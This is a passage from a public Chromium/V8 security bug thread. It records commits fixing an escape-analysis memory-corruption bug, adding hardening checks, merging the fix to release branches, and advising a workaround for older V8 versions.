These can be tricked into corrupting memory when an attacker can leak the "hole" value due to a bug. This CL simply adds CHECKs to prevent this. A longer-term solution might be to introduce "special-purpose holes" so that a leaked "hole" value can no longer be used to confuse unrelated code like the JSMAP implementation because that would then use a different "hole" value.

~~Bug: [chromium:1315904](#)~~

Change-Id: [Id6c432d39fb97002fa67efe90d34014fc5408ba3](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3593783>

Reviewed-by: Toon Verwaest <[verwaest@chromium.org](mailto:verwaest@chromium.org)>

Commit-Queue: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#80201}

[modify] <https://crrev.com/66c8de2cdac10cad9e622ecededda411b44ac5b3/src/builtins/builtins-collections-gen.cc>

**Comment 56** by [rzanoni@google.com](mailto:rzanoni@google.com) on Thu, Apr 28, 2022, 12:41 PM EDT Project Member

**Labels:** -LTS-Merge-Approved-96 -LTS-Merge-Merged-96 LTS-Merge-Candidate LTS-Evaluating-96

Labelling as LTS candidate for 96 again because of <https://crrev.com/c/3593783> that was recently merged

**Comment 57** by [rzanoni@google.com](mailto:rzanoni@google.com) on Thu, Apr 28, 2022, 12:51 PM EDT Project Member

**Labels:** -LTS-Evaluating-96 LTS-Merge-Request-96

**Comment 58** by [sheriffbot](#) on Thu, Apr 28, 2022, 12:56 PM EDT Project Member

**Labels:** -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 59** by [rzanoni@google.com](mailto:rzanoni@google.com) on Thu, Apr 28, 2022, 1:02 PM EDT Project Member

1. Just <https://crrev.com/c/3614969>
2. Low, no conflicts

3. Merged to main on Apr 27

4. Yes

**Comment 60** by [saelo@google.com](mailto:saelo@google.com) on Fri, Apr 29, 2022, 4:21 AM EDT Project Member

I'm not sure <https://crrev.com/c/3593783> needs to be backported since it's only a defense-in-depth hardening measure and not fixing a particular bug.

**Comment 61** by [rzanoni@google.com](mailto:rzanoni@google.com) on Fri, Apr 29, 2022, 8:57 AM EDT Project Member

**Labels:** -LTS-Merge-Candidate -LTS-Merge-Review-96 LTS-Merge-Merged-96

saelo@ thanks for clarifying, I will abandon the cherry-pick and keep only the merged fix

**Comment 62** by [mache...@chromium.org](mailto:mache...@chromium.org) on Mon, May 2, 2022, 3:46 AM EDT Project Member

**Cc:** mache...@chromium.org

Did a regression test land? Tebbi, can you make sure that we have improved test cases for this situation, in particular one regression test for the exact case, which then can be picked up by fuzzers again?

**Comment 63** by [tebbi@chromium.org](mailto:tebbi@chromium.org) on Tue, May 3, 2022, 11:17 AM EDT Project Member

I'll land a regression test as soon as the bug becomes public.

**Comment 64** by [Git Watcher](#) on Tue, Jun 28, 2022, 10:47 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+add8811019a1f2015c4214c20df8e6e8d4a864bb>

commit [add8811019a1f2015c4214c20df8e6e8d4a864bb](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Tue Jun 28 10:03:11 2022

[compiler] improve escape analysis for receivers and closures

When a receiver/closure is not used by a lazy deopt frame state, then it cannot escape through the .getThis API. Therefore, it's safe to dematerialize it.

~~Bug: [chromium:1315901](#), [chromium:1318126](#)~~

Change-Id: I5cf9c30e8451a7af94d371162a94eb1ba0c9db4a

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3726299>

Reviewed-by: Nico Hartmann <[nicohartmann@chromium.org](mailto:nicohartmann@chromium.org)>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Reviewed-by: Jakob Kummerow <[jkummerow@chromium.org](mailto:jkummerow@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#81415}

[modify] <https://crrev.com/add8811019a1f2015c4214c20df8e6e8d4a864bb/src/execution/frames.cc>

[modify] <https://crrev.com/add8811019a1f2015c4214c20df8e6e8d4a864bb/src/compiler/escape-analysis.cc>

**Comment 65** by [tebbi@chromium.org](mailto:tebbi@chromium.org) on Wed, Jun 29, 2022, 6:51 AM EDT Project Member

Thanks to a recently added CHECK, Clusterfuzz found (<https://bugs.chromium.org/p/chromium/issues/detail?id=1340335>) a variant where escape analysis still dematerializes a receiver observable from a stack trace, which is the root cause for this issue. Therefore, it is likely that this issue is still exploitable. I'm landing a fix right now.



Comment 66 by [Git Watcher](#) on Wed, Jun 29, 2022, 7:02 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+17da9e70833014e0a2646db5c11588f0aee02de7>

commit [17da9e70833014e0a2646db5c11588f0aee02de7](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Jun 29 10:18:59 2022

[compiler] fix FrameState revisit bug in escape analysis

~~Bug: chromium:1340335, chromium:1315901~~

Change-Id: [Ic348e8a66df098f64cf1893f83c145ac7bdb1ecb](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3732939>

Reviewed-by: Maya Lekova <[mslekova@chromium.org](mailto:mslekova@chromium.org)>

Commit-Queue: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Auto-Submit: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Cr-Commit-Position: refs/heads/main@{#81434}

[modify] <https://crrev.com/17da9e70833014e0a2646db5c11588f0aee02de7/src/compiler/escape-analysis.cc>

Comment 67 by [Git Watcher](#) on Mon, Jul 11, 2022, 6:50 AM EDT Project Member

**Labels:** merge-merged-10.3

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+104c57e51e909df772eb064dd3098ae41ecb8bbf>

commit [104c57e51e909df772eb064dd3098ae41ecb8bbf](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Jun 29 10:18:59 2022

Merged: [compiler] fix FrameState revisit bug in escape analysis

(cherry picked from commit [17da9e70833014e0a2646db5c11588f0aee02de7](#))

~~Bug: chromium:1340335, chromium:1315901~~

Change-Id: [I62a90686802f814b3e1f15987f3e42b89a30525b](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3755142>

Reviewed-by: Thibaud Michaud <[thibaudm@chromium.org](mailto:thibaudm@chromium.org)>

Commit-Queue: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.3@{#35}

Cr-Branched-From: [1a8f4cab47232e7861928945eeee1c40fe7f7c08](#)-refs/heads/10.3.174@{#1}

Cr-Branched-From: [8fbefa47971832fc5afaffb913ae9689f0cc9f9e](#)-refs/heads/main@{#80471}

[modify] <https://crrev.com/104c57e51e909df772eb064dd3098ae41ecb8bbf/src/compiler/escape-analysis.cc>

Comment 68 by [Git Watcher](#) on Mon, Jul 11, 2022, 6:51 AM EDT Project Member

**Labels:** merge-merged-10.2

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+8ea66a7833e20844d70f946105d32e5c4384d8e5>

commit [8ea66a7833e20844d70f946105d32e5c4384d8e5](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>



Date: Wed Jun 29 10:18:59 2022

Merged: [compiler] fix FrameState revisit bug in escape analysis

(cherry picked from commit [17da9e70833014e0a2646db5c11588f0aee02de7](#))

~~Bug-chromium:1340335~~, ~~chromium:1315901~~

Change-Id: I81cdc6bc3d6c7441ebc333d33801329c05fbd5d4

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3755103>

Reviewed-by: Thibaud Michaud <[thibaudm@chromium.org](mailto:thibaudm@chromium.org)>

Commit-Queue: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.2@{#25}

Cr-Branched-From: [374091f382e88095694c1283cbdc2acddc1b1417](#)-refs/heads/10.2.154@{#1}

Cr-Branched-From: [f0c353f6315eeb2212ba52478983a3b3af07b5b1](#)-refs/heads/main@{#79976}

[modify] <https://crrev.com/8ea66a7833e20844d70f946105d32e5c4384d8e5/src/compiler/escape-analysis.cc>

Comment 69 by [Git Watcher](#) on Mon, Jul 11, 2022, 6:52 AM EDT Project Member

**Labels:** merge-merged-10.4

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+203af1ba6b7bb000f979eb1d38fd950af8247fe8>

commit [203af1ba6b7bb000f979eb1d38fd950af8247fe8](#)

Author: Tobias Tebbi <[tebbi@chromium.org](mailto:tebbi@chromium.org)>

Date: Wed Jun 29 10:18:59 2022

Merged: [compiler] fix FrameState revisit bug in escape analysis

(cherry picked from commit [17da9e70833014e0a2646db5c11588f0aee02de7](#))

~~Bug-chromium:1340335~~, ~~chromium:1315901~~

Change-Id: I69b063c531abf714f37549e5a116142ccee15831

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3755102>

Commit-Queue: Samuel Groß <[saelo@chromium.org](mailto:saelo@chromium.org)>

Reviewed-by: Thibaud Michaud <[thibaudm@chromium.org](mailto:thibaudm@chromium.org)>

Cr-Commit-Position: refs/branch-heads/10.4@{#29}

Cr-Branched-From: [b1413ed7c71ababe05d590de4b5c4ed97b68693e](#)-refs/heads/10.4.132@{#1}

Cr-Branched-From: [9d0a09368569234a1d1094975e2e92591922cd08](#)-refs/heads/main@{#80972}

[modify] <https://crrev.com/203af1ba6b7bb000f979eb1d38fd950af8247fe8/src/compiler/escape-analysis.cc>

Comment 70 by [Git Watcher](#) on Mon, Jul 11, 2022, 8:40 AM EDT Project Member

**Labels:** merge-merged-5112 merge-merged-104

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+ac1ef1a1ff9099bb1fde1aa2cc9613f6fcec8101>

commit [ac1ef1a1ff9099bb1fde1aa2cc9613f6fcec8101](#)

Author: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](mailto:chromium-release-autoroll@skia-public.iam.gserviceaccount.com)>

Date: Mon Jul 11 12:39:52 2022

Roll v8 10.4 from f19d0a673665 to 069429ea4663 (2 revisions)

<https://chromium.googlesource.com/v8/v8.git/+log/f19d0a673665..069429ea4663>

2022-07-11 [v8-ci-autoroll-builder@chops-service-accounts.iam.gserviceaccount.com](#) Version 10.4.132.17

2022-07-11 [tebbi@chromium.org](#) Merged: [compiler] fix FrameState revisit bug in escape analysis

If this roll has caused a breakage, revert this CL and stop the roller  
using the controls here:

<https://autoroll.skia.org/r/v8-chromium-release-0>

Please CC [v8-waterfall-sheriff@grotations.appspotmail.com](#) on the revert to ensure that a human  
is aware of the problem.

To file a bug in v8 10.4: <https://bugs.chromium.org/p/v8/issues/entry>

To file a bug in Chromium m104: <https://bugs.chromium.org/p/chromium/issues/entry>

To report a problem with the AutoRoller itself, please file a bug:

<https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug>

Documentation for the AutoRoller is here:

<https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md>

~~Bug: chromium:1315901, chromium:1340335~~

Tbr: [v8-waterfall-sheriff@grotations.appspotmail.com](#)

Change-Id: I3a07c4df034da49ea6f89d727280ed7503ac2ca0

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3755581>

Bot-Commit: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](#)>

Commit-Queue: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](#)>

Cr-Commit-Position: refs/branch-heads/5112@{#765}

Cr-Branched-From: [b13d3fe7b3c47a56354ef54b221008afa754412e](#)-refs/heads/main@{#1012729}

[modify] <https://crrev.com/ac1ef1a1ff9099bb1fde1aa2cc9613f6fcec8101/DEPS>

**Comment 71** by [Git Watcher](#) on Mon, Jul 11, 2022, 8:51 AM EDT Project Member

**Labels:** merge-merged-5060 merge-merged-103

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+d6df80c470aea2127368ad2d4e047a4a197b5619>

commit [d6df80c470aea2127368ad2d4e047a4a197b5619](#)

Author: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](#)>

Date: Mon Jul 11 12:50:34 2022

Roll v8 10.3 from 9612bf8fb900 to 9abdc4cc595e (2 revisions)

<https://chromium.googlesource.com/v8/v8.git/+log/9612bf8fb900..9abdc4cc595e>

2022-07-11 [v8-ci-autoroll-builder@chops-service-accounts.iam.gserviceaccount.com](#) Version 10.3.174.20

2022-07-11 [tebbi@chromium.org](#) Merged: [compiler] fix FrameState revisit bug in escape analysis

If this roll has caused a breakage, revert this CL and stop the roller  
using the controls here:

<https://autoroll.skia.org/r/v8-chromium-release-1>

Please CC [v8-waterfall-sheriff@grotations.appspotmail.com](#) on the revert to ensure that a human

is aware of the problem.

To file a bug in v8 10.3: <https://bugs.chromium.org/p/v8/issues/entry>

To file a bug in Chromium m103: <https://bugs.chromium.org/p/chromium/issues/entry>

To report a problem with the AutoRoller itself, please file a bug:

<https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug>

Documentation for the AutoRoller is here:

<https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md>

Bug: [chromium:1315901](#), [chromium:1340335](#)

Tbr: [v8-waterfall-sheriff@grotations.appspotmail.com](mailto:v8-waterfall-sheriff@grotations.appspotmail.com)

Change-Id: I31011939ea3d94a51ff495fd8c90a9318cdae610

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3753434>

Bot-Commit: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](mailto:chromium-release-autoroll@skia-public.iam.gserviceaccount.com)>

Commit-Queue: Chrome Release Autoroll <[chromium-release-autoroll@skia-public.iam.gserviceaccount.com](mailto:chromium-release-autoroll@skia-public.iam.gserviceaccount.com)>

Cr-Commit-Position: refs/branch-heads/5060@{#1192}

Cr-Branched-From: [b83393d0f4038aeaf67f970a024d8101df7348d1](#)-refs/heads/main@{#1002911}

[modify] <https://crrev.com/d6df80c470aea2127368ad2d4e047a4a197b5619/DEPS>

**Comment 72** by [sheriffbot](#) on Thu, Jul 21, 2022, 1:31 PM EDT Project Member

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

**Comment 73** by [amyressler@google.com](mailto:amyressler@google.com) on Tue, Jul 26, 2022, 5:38 PM EDT Project Member

**Labels:** CVE\_description-submitted -CVE\_description-missing

**Comment 74** by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Fri, Jul 29, 2022, 5:26 PM EDT Project Member

**Labels:** -CVE\_description-missing --CVE\_description-missing

**Comment 75** by [hyper...@gmail.com](mailto:hyper...@gmail.com) on Mon, Aug 22, 2022, 4:08 AM EDT

I got **Comment 29** by [tebbi@](#), this bug existed in some old versions of chromium/v8 since 2017.

Some apps use old version of v8 and due to dependency they can't upgrade as soon as possible.

Is there a way to backport the fix to older version of V8, in version 7.x?

I've tried the backport, but since 7.x the code structure changed a lot, I think only who familiar with V8 can achieve this.

**Comment 76** by [tebbi@chromium.org](mailto:tebbi@chromium.org) on Mon, Aug 22, 2022, 6:37 AM EDT Project Member

The easiest workaround is to disable escape analysis completely, by passing `--no-turbo-escape` or by changing the default flag value in `flag-definitions.h`.

**Comment 77** by [hyper...@gmail.com](mailto:hyper...@gmail.com) on Mon, Aug 22, 2022, 6:42 AM EDT

Thanks a lot tebbi, point a way for me. I'll give a try.

